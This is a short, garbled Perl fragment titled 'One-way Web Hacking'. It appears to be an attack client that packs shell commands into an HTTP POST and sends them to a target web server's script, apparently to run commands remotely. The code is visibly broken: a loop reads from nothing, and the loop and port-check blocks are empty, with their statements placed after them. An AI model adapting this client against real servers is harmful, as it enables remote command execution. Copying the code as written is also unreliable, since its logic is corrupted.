One-way Web Hacking

# a blank like, any occurence of a ":" in the first line causes the POST
# request to fail. This may be an IIS issue or an HTTP issue.
@commands = ("\n");
$content_length = 0;
while($line = ) {
}
@commands = (@commands, qq{$line});
$content_length += length($line);
# comment out the block below if you are meticulous
# about putting your own "exit" at the end, or if you want
# to use this as a generic POST client
$line = "exit\n";
@commands = (@commands, $line);
$content_length += length($line);
# end of block
$| = 1;
($target, $port) = split(/:/, $server);
if($port == 0) {
}
$port = 80;
$server = $target;
httpconnect($server, $port);
post($file, $server, $port, $content_length, @commands);